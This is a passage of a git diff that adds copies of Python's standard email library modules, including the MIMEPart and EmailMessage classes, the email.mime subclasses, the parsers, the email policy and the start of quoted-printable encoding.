boundary)) + # Replace the existing Content-Type header with the new value + newheaders = [] + for h, v in self._headers: + if h.lower() == 'content-type': + parts = [] + for k, v in newparams: + if v == '': + parts.append(k) + else: + parts.append('%s=%s' % (k, v)) + val = SEMISPACE.join(parts) + newheaders.append(self.policy.header_store_parse(h, val)) + + else: + newheaders.append((h, v)) + self._headers = newheaders + + def get_content_charset(self, failobj=None): + """Return the charset parameter of the Content-Type header. + + The returned string is always coerced to lower case. If there is no + Content-Type header, or if that header has no charset parameter, + failobj is returned. + """ + missing = object() + charset = self.get_param('charset', missing) + if charset is missing: + return failobj + if isinstance(charset, tuple): + # RFC 2231 encoded, so decode it, and it better end up as ascii. + pcharset = charset[0] or 'us-ascii' + try: + # LookupError will be raised if the charset isn't known to + # Python. UnicodeError will be raised if the encoded text + # contains a character not in the charset. + as_bytes = charset[2].encode('raw-unicode-escape') + charset = str(as_bytes, pcharset) + except (LookupError, UnicodeError): + charset = charset[2] + # charset characters must be in us-ascii range + try: + charset.encode('us-ascii') + except UnicodeError: + return failobj + # RFC 2046, $4.1.2 says charsets are not case sensitive + return charset.lower() + + def get_charsets(self, failobj=None): + """Return a list containing the charset(s) used in this message. + + The returned list of items describes the Content-Type headers' + charset parameter for this message and all the subparts in its + payload. + + Each item will either be a string (the value of the charset parameter + in the Content-Type header of that part) or the value of the + 'failobj' parameter (defaults to None), if the part does not have a + main MIME type of "text", or the charset is not defined. + + The list will contain one string for each part of the message, plus + one for the container message (i.e. self), so that a non-multipart + message will still return a list of length 1. + """ + return [part.get_content_charset(failobj) for part in self.walk()] + + def get_content_disposition(self): + """Return the message's content-disposition if it exists, or None. + + The return values can be either 'inline', 'attachment' or None + according to the rfc2183. + """ + value = self.get('content-disposition') + if value is None: + return None + c_d = _splitparam(value)[0].lower() + return c_d + + # I.e. def walk(self): ... + from email.iterators import walk + + +class MIMEPart(Message): + + def __init__(self, policy=None): + if policy is None: + from email.policy import default + policy = default + Message.__init__(self, policy) + + + def as_string(self, unixfrom=False, maxheaderlen=None, policy=None): + """Return the entire formatted message as a string. + + Optional 'unixfrom', when true, means include the Unix From_ envelope + header. maxheaderlen is retained for backward compatibility with the + base Message class, but defaults to None, meaning that the policy value + for max_line_length controls the header maximum length. 'policy' is + passed to the Generator instance used to serialize the mesasge; if it + is not specified the policy associated with the message instance is + used. + """ + policy = self.policy if policy is None else policy + if maxheaderlen is None: + maxheaderlen = policy.max_line_length + return super().as_string(maxheaderlen=maxheaderlen, policy=policy) + + def __str__(self): + return self.as_string(policy=self.policy.clone(utf8=True)) + + def is_attachment(self): + c_d = self.get('content-disposition') + return False if c_d is None else c_d.content_disposition == 'attachment' + + def _find_body(self, part, preferencelist): + if part.is_attachment(): + return + maintype, subtype = part.get_content_type().split('/') + if maintype == 'text': + if subtype in preferencelist: + yield (preferencelist.index(subtype), part) + return + if maintype != 'multipart': + return + if subtype != 'related': + for subpart in part.iter_parts(): + yield from self._find_body(subpart, preferencelist) + return + if 'related' in preferencelist: + yield (preferencelist.index('related'), part) + candidate = None + start = part.get_param('start') + if start: + for subpart in part.iter_parts(): + if subpart['content-id'] == start: + candidate = subpart + break + if candidate is None: + subparts = part.get_payload() + candidate = subparts[0] if subparts else None + if candidate is not None: + yield from self._find_body(candidate, preferencelist) + + def get_body(self, preferencelist=('related', 'html', 'plain')): + """Return best candidate mime part for display as 'body' of message. + + Do a depth first search, starting with self, looking for the first part + matching each of the items in preferencelist, and return the part + corresponding to the first item that has a match, or None if no items + have a match. If 'related' is not included in preferencelist, consider + the root part of any multipart/related encountered as a candidate + match. Ignore parts with 'Content-Disposition: attachment'. + """ + best_prio = len(preferencelist) + body = None + for prio, part in self._find_body(self, preferencelist): + if prio < best_prio: + best_prio = prio + body = part + if prio == 0: + break + return body + + _body_types = {('text', 'plain'), + ('text', 'html'), + ('multipart', 'related'), + ('multipart', 'alternative')} + def iter_attachments(self): + """Return an iterator over the non-main parts of a multipart. + + Skip the first of each occurrence of text/plain, text/html, + multipart/related, or multipart/alternative in the multipart (unless + they have a 'Content-Disposition: attachment' header) and include all + remaining subparts in the returned iterator. When applied to a + multipart/related, return all parts except the root part. Return an + empty iterator when applied to a multipart/alternative or a + non-multipart. + """ + maintype, subtype = self.get_content_type().split('/') + if maintype != 'multipart' or subtype == 'alternative': + return + parts = self.get_payload().copy() + if maintype == 'multipart' and subtype == 'related': + # For related, we treat everything but the root as an attachment. + # The root may be indicated by 'start'; if there's no start or we + # can't find the named start, treat the first subpart as the root. + start = self.get_param('start') + if start: + found = False + attachments = [] + for part in parts: + if part.get('content-id') == start: + found = True + else: + attachments.append(part) + if found: + yield from attachments + return + parts.pop(0) + yield from parts + return + # Otherwise we more or less invert the remaining logic in get_body. + # This only really works in edge cases (ex: non-text related or + # alternatives) if the sending agent sets content-disposition. + seen = [] # Only skip the first example of each candidate type. + for part in parts: + maintype, subtype = part.get_content_type().split('/') + if ((maintype, subtype) in self._body_types and + not part.is_attachment() and subtype not in seen): + seen.append(subtype) + continue + yield part + + def iter_parts(self): + """Return an iterator over all immediate subparts of a multipart. + + Return an empty iterator for a non-multipart. + """ + if self.get_content_maintype() == 'multipart': + yield from self.get_payload() + + def get_content(self, *args, content_manager=None, **kw): + if content_manager is None: + content_manager = self.policy.content_manager + return content_manager.get_content(self, *args, **kw) + + def set_content(self, *args, content_manager=None, **kw): + if content_manager is None: + content_manager = self.policy.content_manager + content_manager.set_content(self, *args, **kw) + + def _make_multipart(self, subtype, disallowed_subtypes, boundary): + if self.get_content_maintype() == 'multipart': + existing_subtype = self.get_content_subtype() + disallowed_subtypes = disallowed_subtypes + (subtype,) + if existing_subtype in disallowed_subtypes: + raise ValueError("Cannot convert {} to {}".format( + existing_subtype, subtype)) + keep_headers = [] + part_headers = [] + for name, value in self._headers: + if name.lower().startswith('content-'): + part_headers.append((name, value)) + else: + keep_headers.append((name, value)) + if part_headers: + # There is existing content, move it to the first subpart. + part = type(self)(policy=self.policy) + part._headers = part_headers + part._payload = self._payload + self._payload = [part] + else: + self._payload = [] + self._headers = keep_headers + self['Content-Type'] = 'multipart/' + subtype + if boundary is not None: + self.set_param('boundary', boundary) + + def make_related(self, boundary=None): + self._make_multipart('related', ('alternative', 'mixed'), boundary) + + def make_alternative(self, boundary=None): + self._make_multipart('alternative', ('mixed',), boundary) + + def make_mixed(self, boundary=None): + self._make_multipart('mixed', (), boundary) + + def _add_multipart(self, _subtype, *args, _disp=None, **kw): + if (self.get_content_maintype() != 'multipart' or + self.get_content_subtype() != _subtype): + getattr(self, 'make_' + _subtype)() + part = type(self)(policy=self.policy) + part.set_content(*args, **kw) + if _disp and 'content-disposition' not in part: + part['Content-Disposition'] = _disp + self.attach(part) + + def add_related(self, *args, **kw): + self._add_multipart('related', *args, _disp='inline', **kw) + + def add_alternative(self, *args, **kw): + self._add_multipart('alternative', *args, **kw) + + def add_attachment(self, *args, **kw): + self._add_multipart('mixed', *args, _disp='attachment', **kw) + + def clear(self): + self._headers = [] + self._payload = None + + def clear_content(self): + self._headers = [(n, v) for n, v in self._headers + if not n.lower().startswith('content-')] + self._payload = None + + +class EmailMessage(MIMEPart): + + def set_content(self, *args, **kw): + super().set_content(*args, **kw) + if 'MIME-Version' not in self: + self['MIME-Version'] = '1.0' diff --git a/email/mime/__init__.py b/email/mime/__init__.py new file mode 100755 index 0000000..e69de29 diff --git a/email/mime/application.py b/email/mime/application.py new file mode 100755 index 0000000..6877e55 --- /dev/null +++ b/email/mime/application.py @@ -0,0 +1,37 @@ +# Copyright (C) 2001-2006 Python Software Foundation +# Author: Keith Dart +# Contact: email-sig@python.org + +"""Class representing application/* type MIME documents.""" + +__all__ = ["MIMEApplication"] + +from email import encoders +from email.mime.nonmultipart import MIMENonMultipart + + +class MIMEApplication(MIMENonMultipart): + """Class for generating application/* MIME documents.""" + + def __init__(self, _data, _subtype='octet-stream', + _encoder=encoders.encode_base64, *, policy=None, **_params): + """Create an application/* type MIME document. + + _data is a string containing the raw application data. + + _subtype is the MIME content type subtype, defaulting to + 'octet-stream'. + + _encoder is a function which will perform the actual encoding for + transport of the application data, defaulting to base64 encoding. + + Any additional keyword arguments are passed to the base class + constructor, which turns them into parameters on the Content-Type + header. + """ + if _subtype is None: + raise TypeError('Invalid application MIME subtype') + MIMENonMultipart.__init__(self, 'application', _subtype, policy=policy, + **_params) + self.set_payload(_data) + _encoder(self) diff --git a/email/mime/audio.py b/email/mime/audio.py new file mode 100755 index 0000000..4bcd7b2 --- /dev/null +++ b/email/mime/audio.py @@ -0,0 +1,74 @@ +# Copyright (C) 2001-2007 Python Software Foundation +# Author: Anthony Baxter +# Contact: email-sig@python.org + +"""Class representing audio/* type MIME documents.""" + +__all__ = ['MIMEAudio'] + +import sndhdr + +from io import BytesIO +from email import encoders +from email.mime.nonmultipart import MIMENonMultipart + + + +_sndhdr_MIMEmap = {'au' : 'basic', + 'wav' :'x-wav', + 'aiff':'x-aiff', + 'aifc':'x-aiff', + } + +# There are others in sndhdr that don't have MIME types. :( +# Additional ones to be added to sndhdr? midi, mp3, realaudio, wma?? +def _whatsnd(data): + """Try to identify a sound file type. + + sndhdr.what() has a pretty cruddy interface, unfortunately. This is why + we re-do it here. It would be easier to reverse engineer the Unix 'file' + command and use the standard 'magic' file, as shipped with a modern Unix. + """ + hdr = data[:512] + fakefile = BytesIO(hdr) + for testfn in sndhdr.tests: + res = testfn(hdr, fakefile) + if res is not None: + return _sndhdr_MIMEmap.get(res[0]) + return None + + + +class MIMEAudio(MIMENonMultipart): + """Class for generating audio/* MIME documents.""" + + def __init__(self, _audiodata, _subtype=None, + _encoder=encoders.encode_base64, *, policy=None, **_params): + """Create an audio/* type MIME document. + + _audiodata is a string containing the raw audio data. If this data + can be decoded by the standard Python `sndhdr' module, then the + subtype will be automatically included in the Content-Type header. + Otherwise, you can specify the specific audio subtype via the + _subtype parameter. If _subtype is not given, and no subtype can be + guessed, a TypeError is raised. + + _encoder is a function which will perform the actual encoding for + transport of the image data. It takes one argument, which is this + Image instance. It should use get_payload() and set_payload() to + change the payload to the encoded form. It should also add any + Content-Transfer-Encoding or other headers to the message as + necessary. The default encoding is Base64. + + Any additional keyword arguments are passed to the base class + constructor, which turns them into parameters on the Content-Type + header. + """ + if _subtype is None: + _subtype = _whatsnd(_audiodata) + if _subtype is None: + raise TypeError('Could not find audio MIME subtype') + MIMENonMultipart.__init__(self, 'audio', _subtype, policy=policy, + **_params) + self.set_payload(_audiodata) + _encoder(self) diff --git a/email/mime/base.py b/email/mime/base.py new file mode 100755 index 0000000..1a3f9b5 --- /dev/null +++ b/email/mime/base.py @@ -0,0 +1,30 @@ +# Copyright (C) 2001-2006 Python Software Foundation +# Author: Barry Warsaw +# Contact: email-sig@python.org + +"""Base class for MIME specializations.""" + +__all__ = ['MIMEBase'] + +import email.policy + +from email import message + + + +class MIMEBase(message.Message): + """Base class for MIME specializations.""" + + def __init__(self, _maintype, _subtype, *, policy=None, **_params): + """This constructor adds a Content-Type: and a MIME-Version: header. + + The Content-Type: header is taken from the _maintype and _subtype + arguments. Additional parameters for this header are taken from the + keyword arguments. + """ + if policy is None: + policy = email.policy.compat32 + message.Message.__init__(self, policy=policy) + ctype = '%s/%s' % (_maintype, _subtype) + self.add_header('Content-Type', ctype, **_params) + self['MIME-Version'] = '1.0' diff --git a/email/mime/image.py b/email/mime/image.py new file mode 100755 index 0000000..9272464 --- /dev/null +++ b/email/mime/image.py @@ -0,0 +1,47 @@ +# Copyright (C) 2001-2006 Python Software Foundation +# Author: Barry Warsaw +# Contact: email-sig@python.org + +"""Class representing image/* type MIME documents.""" + +__all__ = ['MIMEImage'] + +import imghdr + +from email import encoders +from email.mime.nonmultipart import MIMENonMultipart + + + +class MIMEImage(MIMENonMultipart): + """Class for generating image/* type MIME documents.""" + + def __init__(self, _imagedata, _subtype=None, + _encoder=encoders.encode_base64, *, policy=None, **_params): + """Create an image/* type MIME document. + + _imagedata is a string containing the raw image data. If this data + can be decoded by the standard Python `imghdr' module, then the + subtype will be automatically included in the Content-Type header. + Otherwise, you can specify the specific image subtype via the _subtype + parameter. + + _encoder is a function which will perform the actual encoding for + transport of the image data. It takes one argument, which is this + Image instance. It should use get_payload() and set_payload() to + change the payload to the encoded form. It should also add any + Content-Transfer-Encoding or other headers to the message as + necessary. The default encoding is Base64. + + Any additional keyword arguments are passed to the base class + constructor, which turns them into parameters on the Content-Type + header. + """ + if _subtype is None: + _subtype = imghdr.what(None, _imagedata) + if _subtype is None: + raise TypeError('Could not guess image MIME subtype') + MIMENonMultipart.__init__(self, 'image', _subtype, policy=policy, + **_params) + self.set_payload(_imagedata) + _encoder(self) diff --git a/email/mime/message.py b/email/mime/message.py new file mode 100755 index 0000000..07e4f2d --- /dev/null +++ b/email/mime/message.py @@ -0,0 +1,34 @@ +# Copyright (C) 2001-2006 Python Software Foundation +# Author: Barry Warsaw +# Contact: email-sig@python.org + +"""Class representing message/* MIME documents.""" + +__all__ = ['MIMEMessage'] + +from email import message +from email.mime.nonmultipart import MIMENonMultipart + + + +class MIMEMessage(MIMENonMultipart): + """Class representing message/* MIME documents.""" + + def __init__(self, _msg, _subtype='rfc822', *, policy=None): + """Create a message/* type MIME document. + + _msg is a message object and must be an instance of Message, or a + derived class of Message, otherwise a TypeError is raised. + + Optional _subtype defines the subtype of the contained message. The + default is "rfc822" (this is defined by the MIME standard, even though + the term "rfc822" is technically outdated by RFC 2822). + """ + MIMENonMultipart.__init__(self, 'message', _subtype, policy=policy) + if not isinstance(_msg, message.Message): + raise TypeError('Argument is not an instance of Message') + # It's convenient to use this base class method. We need to do it + # this way or we'll get an exception + message.Message.attach(self, _msg) + # And be sure our default type is set correctly + self.set_default_type('message/rfc822') diff --git a/email/mime/multipart.py b/email/mime/multipart.py new file mode 100755 index 0000000..2d3f288 --- /dev/null +++ b/email/mime/multipart.py @@ -0,0 +1,48 @@ +# Copyright (C) 2002-2006 Python Software Foundation +# Author: Barry Warsaw +# Contact: email-sig@python.org + +"""Base class for MIME multipart/* type messages.""" + +__all__ = ['MIMEMultipart'] + +from email.mime.base import MIMEBase + + + +class MIMEMultipart(MIMEBase): + """Base class for MIME multipart/* type messages.""" + + def __init__(self, _subtype='mixed', boundary=None, _subparts=None, + *, policy=None, + **_params): + """Creates a multipart/* type message. + + By default, creates a multipart/mixed message, with proper + Content-Type and MIME-Version headers. + + _subtype is the subtype of the multipart content type, defaulting to + `mixed'. + + boundary is the multipart boundary string. By default it is + calculated as needed. + + _subparts is a sequence of initial subparts for the payload. It + must be an iterable object, such as a list. You can always + attach new subparts to the message by using the attach() method. + + Additional parameters for the Content-Type header are taken from the + keyword arguments (or passed into the _params argument). + """ + MIMEBase.__init__(self, 'multipart', _subtype, policy=policy, **_params) + + # Initialise _payload to an empty list as the Message superclass's + # implementation of is_multipart assumes that _payload is a list for + # multipart messages. + self._payload = [] + + if _subparts: + for p in _subparts: + self.attach(p) + if boundary: + self.set_boundary(boundary) diff --git a/email/mime/nonmultipart.py b/email/mime/nonmultipart.py new file mode 100755 index 0000000..e1f5196 --- /dev/null +++ b/email/mime/nonmultipart.py @@ -0,0 +1,22 @@ +# Copyright (C) 2002-2006 Python Software Foundation +# Author: Barry Warsaw +# Contact: email-sig@python.org + +"""Base class for MIME type messages that are not multipart.""" + +__all__ = ['MIMENonMultipart'] + +from email import errors +from email.mime.base import MIMEBase + + + +class MIMENonMultipart(MIMEBase): + """Base class for MIME non-multipart type messages.""" + + def attach(self, payload): + # The public API prohibits attaching multiple subparts to MIMEBase + # derived subtypes since none of them are, by definition, of content + # type multipart/* + raise errors.MultipartConversionError( + 'Cannot attach additional subparts to non-multipart/*') diff --git a/email/mime/text.py b/email/mime/text.py new file mode 100755 index 0000000..35b4423 --- /dev/null +++ b/email/mime/text.py @@ -0,0 +1,42 @@ +# Copyright (C) 2001-2006 Python Software Foundation +# Author: Barry Warsaw +# Contact: email-sig@python.org + +"""Class representing text/* type MIME documents.""" + +__all__ = ['MIMEText'] + +from email.charset import Charset +from email.mime.nonmultipart import MIMENonMultipart + + + +class MIMEText(MIMENonMultipart): + """Class for generating text/* type MIME documents.""" + + def __init__(self, _text, _subtype='plain', _charset=None, *, policy=None): + """Create a text/* type MIME document. + + _text is the string for this message object. + + _subtype is the MIME sub content type, defaulting to "plain". + + _charset is the character set parameter added to the Content-Type + header. This defaults to "us-ascii". Note that as a side-effect, the + Content-Transfer-Encoding header will also be set. + """ + + # If no _charset was specified, check to see if there are non-ascii + # characters present. If not, use 'us-ascii', otherwise use utf-8. + # XXX: This can be removed once #7304 is fixed. + if _charset is None: + try: + _text.encode('us-ascii') + _charset = 'us-ascii' + except UnicodeEncodeError: + _charset = 'utf-8' + + MIMENonMultipart.__init__(self, 'text', _subtype, policy=policy, + **{'charset': str(_charset)}) + + self.set_payload(_text, _charset) diff --git a/email/parser.py b/email/parser.py new file mode 100755 index 0000000..555b172 --- /dev/null +++ b/email/parser.py @@ -0,0 +1,132 @@ +# Copyright (C) 2001-2007 Python Software Foundation +# Author: Barry Warsaw, Thomas Wouters, Anthony Baxter +# Contact: email-sig@python.org + +"""A parser of RFC 2822 and MIME email messages.""" + +__all__ = ['Parser', 'HeaderParser', 'BytesParser', 'BytesHeaderParser', + 'FeedParser', 'BytesFeedParser'] + +from io import StringIO, TextIOWrapper + +from email.feedparser import FeedParser, BytesFeedParser +from email._policybase import compat32 + + + +class Parser: + def __init__(self, _class=None, *, policy=compat32): + """Parser of RFC 2822 and MIME email messages. + + Creates an in-memory object tree representing the email message, which + can then be manipulated and turned over to a Generator to return the + textual representation of the message. + + The string must be formatted as a block of RFC 2822 headers and header + continuation lines, optionally preceded by a `Unix-from' header. The + header block is terminated either by the end of the string or by a + blank line. + + _class is the class to instantiate for new message objects when they + must be created. This class must have a constructor that can take + zero arguments. Default is Message.Message. + + The policy keyword specifies a policy object that controls a number of + aspects of the parser's operation. The default policy maintains + backward compatibility. + + """ + self._class = _class + self.policy = policy + + def parse(self, fp, headersonly=False): + """Create a message structure from the data in a file. + + Reads all the data from the file and returns the root of the message + structure. Optional headersonly is a flag specifying whether to stop + parsing after reading the headers or not. The default is False, + meaning it parses the entire contents of the file. + """ + feedparser = FeedParser(self._class, policy=self.policy) + if headersonly: + feedparser._set_headersonly() + while True: + data = fp.read(8192) + if not data: + break + feedparser.feed(data) + return feedparser.close() + + def parsestr(self, text, headersonly=False): + """Create a message structure from a string. + + Returns the root of the message structure. Optional headersonly is a + flag specifying whether to stop parsing after reading the headers or + not. The default is False, meaning it parses the entire contents of + the file. + """ + return self.parse(StringIO(text), headersonly=headersonly) + + + +class HeaderParser(Parser): + def parse(self, fp, headersonly=True): + return Parser.parse(self, fp, True) + + def parsestr(self, text, headersonly=True): + return Parser.parsestr(self, text, True) + + +class BytesParser: + + def __init__(self, *args, **kw): + """Parser of binary RFC 2822 and MIME email messages. + + Creates an in-memory object tree representing the email message, which + can then be manipulated and turned over to a Generator to return the + textual representation of the message. + + The input must be formatted as a block of RFC 2822 headers and header + continuation lines, optionally preceded by a `Unix-from' header. The + header block is terminated either by the end of the input or by a + blank line. + + _class is the class to instantiate for new message objects when they + must be created. This class must have a constructor that can take + zero arguments. Default is Message.Message. + """ + self.parser = Parser(*args, **kw) + + def parse(self, fp, headersonly=False): + """Create a message structure from the data in a binary file. + + Reads all the data from the file and returns the root of the message + structure. Optional headersonly is a flag specifying whether to stop + parsing after reading the headers or not. The default is False, + meaning it parses the entire contents of the file. + """ + fp = TextIOWrapper(fp, encoding='ascii', errors='surrogateescape') + try: + return self.parser.parse(fp, headersonly) + finally: + fp.detach() + + + def parsebytes(self, text, headersonly=False): + """Create a message structure from a byte string. + + Returns the root of the message structure. Optional headersonly is a + flag specifying whether to stop parsing after reading the headers or + not. The default is False, meaning it parses the entire contents of + the file. + """ + text = text.decode('ASCII', errors='surrogateescape') + return self.parser.parsestr(text, headersonly) + + +class BytesHeaderParser(BytesParser): + def parse(self, fp, headersonly=True): + return BytesParser.parse(self, fp, headersonly=True) + + def parsebytes(self, text, headersonly=True): + return BytesParser.parsebytes(self, text, headersonly=True) diff --git a/email/policy.py b/email/policy.py new file mode 100755 index 0000000..5131311 --- /dev/null +++ b/email/policy.py @@ -0,0 +1,223 @@ +"""This will be the home for the policy that hooks in the new +code that adds all the email6 features. +""" + +import re +from email._policybase import Policy, Compat32, compat32, _extend_docstrings +from email.utils import _has_surrogates +from email.headerregistry import HeaderRegistry as HeaderRegistry +from email.contentmanager import raw_data_manager +from email.message import EmailMessage + +__all__ = [ + 'Compat32', + 'compat32', + 'Policy', + 'EmailPolicy', + 'default', + 'strict', + 'SMTP', + 'HTTP', + ] + +linesep_splitter = re.compile(r'\n|\r') + +@_extend_docstrings +class EmailPolicy(Policy): + + """+ + PROVISIONAL + + The API extensions enabled by this policy are currently provisional. + Refer to the documentation for details. + + This policy adds new header parsing and folding algorithms. Instead of + simple strings, headers are custom objects with custom attributes + depending on the type of the field. The folding algorithm fully + implements RFCs 2047 and 5322. + + In addition to the settable attributes listed above that apply to + all Policies, this policy adds the following additional attributes: + + utf8 -- if False (the default) message headers will be + serialized as ASCII, using encoded words to encode + any non-ASCII characters in the source strings. If + True, the message headers will be serialized using + utf8 and will not contain encoded words (see RFC + 6532 for more on this serialization format). + + refold_source -- if the value for a header in the Message object + came from the parsing of some source, this attribute + indicates whether or not a generator should refold + that value when transforming the message back into + stream form. The possible values are: + + none -- all source values use original folding + long -- source values that have any line that is + longer than max_line_length will be + refolded + all -- all values are refolded. + + The default is 'long'. + + header_factory -- a callable that takes two arguments, 'name' and + 'value', where 'name' is a header field name and + 'value' is an unfolded header field value, and + returns a string-like object that represents that + header. A default header_factory is provided that + understands some of the RFC5322 header field types. + (Currently address fields and date fields have + special treatment, while all other fields are + treated as unstructured. This list will be + completed before the extension is marked stable.) + + content_manager -- an object with at least two methods: get_content + and set_content. When the get_content or + set_content method of a Message object is called, + it calls the corresponding method of this object, + passing it the message object as its first argument, + and any arguments or keywords that were passed to + it as additional arguments. The default + content_manager is + :data:`~email.contentmanager.raw_data_manager`. + + """ + + message_factory = EmailMessage + utf8 = False + refold_source = 'long' + header_factory = HeaderRegistry() + content_manager = raw_data_manager + + def __init__(self, **kw): + # Ensure that each new instance gets a unique header factory + # (as opposed to clones, which share the factory). + if 'header_factory' not in kw: + object.__setattr__(self, 'header_factory', HeaderRegistry()) + super().__init__(**kw) + + def header_max_count(self, name): + """+ + The implementation for this class returns the max_count attribute from + the specialized header class that would be used to construct a header + of type 'name'. + """ + return self.header_factory[name].max_count + + # The logic of the next three methods is chosen such that it is possible to + # switch a Message object between a Compat32 policy and a policy derived + # from this class and have the results stay consistent. This allows a + # Message object constructed with this policy to be passed to a library + # that only handles Compat32 objects, or to receive such an object and + # convert it to use the newer style by just changing its policy. It is + # also chosen because it postpones the relatively expensive full rfc5322 + # parse until as late as possible when parsing from source, since in many + # applications only a few headers will actually be inspected. + + def header_source_parse(self, sourcelines): + """+ + The name is parsed as everything up to the ':' and returned unmodified. + The value is determined by stripping leading whitespace off the + remainder of the first line, joining all subsequent lines together, and + stripping any trailing carriage return or linefeed characters. (This + is the same as Compat32). + + """ + name, value = sourcelines[0].split(':', 1) + value = value.lstrip(' \t') + ''.join(sourcelines[1:]) + return (name, value.rstrip('\r\n')) + + def header_store_parse(self, name, value): + """+ + The name is returned unchanged. If the input value has a 'name' + attribute and it matches the name ignoring case, the value is returned + unchanged. Otherwise the name and value are passed to header_factory + method, and the resulting custom header object is returned as the + value. In this case a ValueError is raised if the input value contains + CR or LF characters. + + """ + if hasattr(value, 'name') and value.name.lower() == name.lower(): + return (name, value) + if isinstance(value, str) and len(value.splitlines())>1: + # XXX this error message isn't quite right when we use splitlines + # (see issue 22233), but I'm not sure what should happen here. + raise ValueError("Header values may not contain linefeed " + "or carriage return characters") + return (name, self.header_factory(name, value)) + + def header_fetch_parse(self, name, value): + """+ + If the value has a 'name' attribute, it is returned to unmodified. + Otherwise the name and the value with any linesep characters removed + are passed to the header_factory method, and the resulting custom + header object is returned. Any surrogateescaped bytes get turned + into the unicode unknown-character glyph. + + """ + if hasattr(value, 'name'): + return value + # We can't use splitlines here because it splits on more than \r and \n. + value = ''.join(linesep_splitter.split(value)) + return self.header_factory(name, value) + + def fold(self, name, value): + """+ + Header folding is controlled by the refold_source policy setting. A + value is considered to be a 'source value' if and only if it does not + have a 'name' attribute (having a 'name' attribute means it is a header + object of some sort). If a source value needs to be refolded according + to the policy, it is converted into a custom header object by passing + the name and the value with any linesep characters removed to the + header_factory method. Folding of a custom header object is done by + calling its fold method with the current policy. + + Source values are split into lines using splitlines. If the value is + not to be refolded, the lines are rejoined using the linesep from the + policy and returned. The exception is lines containing non-ascii + binary data. In that case the value is refolded regardless of the + refold_source setting, which causes the binary data to be CTE encoded + using the unknown-8bit charset. + + """ + return self._fold(name, value, refold_binary=True) + + def fold_binary(self, name, value): + """+ + The same as fold if cte_type is 7bit, except that the returned value is + bytes. + + If cte_type is 8bit, non-ASCII binary data is converted back into + bytes. Headers with binary data are not refolded, regardless of the + refold_header setting, since there is no way to know whether the binary + data consists of single byte characters or multibyte characters. + + If utf8 is true, headers are encoded to utf8, otherwise to ascii with + non-ASCII unicode rendered as encoded words. + + """ + folded = self._fold(name, value, refold_binary=self.cte_type=='7bit') + charset = 'utf8' if self.utf8 else 'ascii' + return folded.encode(charset, 'surrogateescape') + + def _fold(self, name, value, refold_binary=False): + if hasattr(value, 'name'): + return value.fold(policy=self) + maxlen = self.max_line_length if self.max_line_length else float('inf') + lines = value.splitlines() + refold = (self.refold_source == 'all' or + self.refold_source == 'long' and + (lines and len(lines[0])+len(name)+2 > maxlen or + any(len(x) > maxlen for x in lines[1:]))) + if refold or refold_binary and _has_surrogates(value): + return self.header_factory(name, ''.join(lines)).fold(policy=self) + return name + ': ' + self.linesep.join(lines) + self.linesep + + +default = EmailPolicy() +# Make the default policy use the class default header_factory +del default.header_factory +strict = default.clone(raise_on_defect=True) +SMTP = default.clone(linesep='\r\n') +HTTP = default.clone(linesep='\r\n', max_line_length=None) +SMTPUTF8 = SMTP.clone(utf8=True) diff --git a/email/quoprimime.py b/email/quoprimime.py new file mode 100755 index 0000000..94534f7 --- /dev/null +++ b/email/quoprimime.py @@ -0,0 +1,299 @@ +# Copyright (C) 2001-2006 Python Software Foundation +# Author: Ben Gertzfield +# Contact: email-sig@python.org + +"""Quoted-printable content transfer encoding per RFCs 2045-2047. + +This module handles the content transfer encoding method defined in RFC 2045 +to encode US ASCII-like 8-bit data called `quoted-printable'. It is used to +safely encode text that is in a character set similar to the 7-bit US ASCII +character set, but that includes some 8-bit characters that are normally not +allowed in email bodies or headers. + +Quoted-printable is very space-inefficient for encoding binary files; use the +email.base64mime module for that instead. + +This module provides an interface to encode and decode both headers and bodies +with quoted-printable encoding. + +RFC 2045 defines a method for including character set information in an +`encoded-word' in a header. This method is commonly used for 8-bit real names +in To:/From:/Cc: etc. fields, as well as Subject: lines. + +This module does not do the line wrapping or end-of-line character +conversion necessary for proper internationalized headers; it only +does dumb encoding and decoding. To deal with the various line +wrapping issues, use the email.header module. +""" + +__all__ = [ + 'body_decode', + 'body_encode', + 'body_length', + 'decode', + 'decodestring', + 'header_decode', + 'header_encode', + 'header_length', + 'quote', + 'unquote', + ] + +import re + +from string import ascii_letters, digits, hexdigits + +CRLF = '\r\n' +NL = '\n' +EMPTYSTRING = '' + +# Build a mapping of octets to the expansion of that octet. Since we're only +# going to have 256 of these things, this isn't terribly inefficient +# space-wise. Remember that headers and bodies have different sets of safe +# characters. Initialize both maps with the full expansion, and then override +# the safe bytes with the more compact form. +_QUOPRI_MAP = ['=%02X' % c for c in range(256)] +_QUOPRI_HEADER_MAP = _QUOPRI_MAP[:] +_QUOPRI_BODY_MAP = _QUOPRI_MAP[:] + +# Safe header bytes which need no encoding. +for c in b'-!*+/' + ascii_letters.encode('ascii') + digits.encode('ascii'): + _QUOPRI_HEADER_MAP[c] = chr(c) +# Headers have one other special encoding; spaces become underscores. +_QUOPRI_HEADER_MAP[ord(' ')] = '_' + +# Safe body bytes which need no encoding. +for c in (b' !"#$%&\'()*+,-./0123456789:;<>' + b'?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`' + b'abcdefghijklmnopqrstuvwxyz{|}~\t'): + _QUOPRI_BODY_MAP[c] = chr(c) + + + +# Helpers +def header_check(octet): + """Return True if the octet should be escaped with header quopri.""" + return chr(octet) != _QUOPRI_HEADER_MAP[octet] + + +def body_check(octet): + """Return True if the octet should be escaped with body quopri.""" + return chr(octet) != _QUOPRI_BODY_MAP[octet] + + +def header_length(bytearray): + """Return a header quoted-printable encoding length. + + Note that this does not include any RFC 2047 chrome added by + `header_encode()`. + + :param bytearray: An array of bytes (a.k.a. octets). + :return: The length in bytes of the byte array when it is encoded with + quoted-printable for headers. + """ + return sum(len(_QUOPRI_HEADER_MAP[octet]) for octet in bytearray) + + +def body_length(bytearray): + """Return a body quoted-printable encoding length. + + :param bytearray: An array of bytes (a.k.a. octets). + :return: The length in bytes of the byte array when it is encoded with + quoted-printable for bodies. + """ + return sum(len(_QUOPRI_BODY_MAP[octet]) for octet in bytearray) + + +def _max_append(L, s, maxlen, extra=''): + if not isinstance(s, str): + s = chr(s) + if not L: + L.append(s.lstrip()) + elif len(L[-1]) + len(s) <= maxlen: + L[-1] += extra + s + else: + L.append(s.lstrip()) + + +def unquote(s): + """Turn a string in the form =AB to the ASCII character with value 0xab""" + return chr(int(s[1:3], 16)) + + +def quote(c): + return _QUOPRI_MAP[ord(c)] + + +def header_encode(header_bytes, charset='iso-8859-1'): + """Encode a single header line with quoted-printable (like) encoding. + + Defined in RFC 2045, this 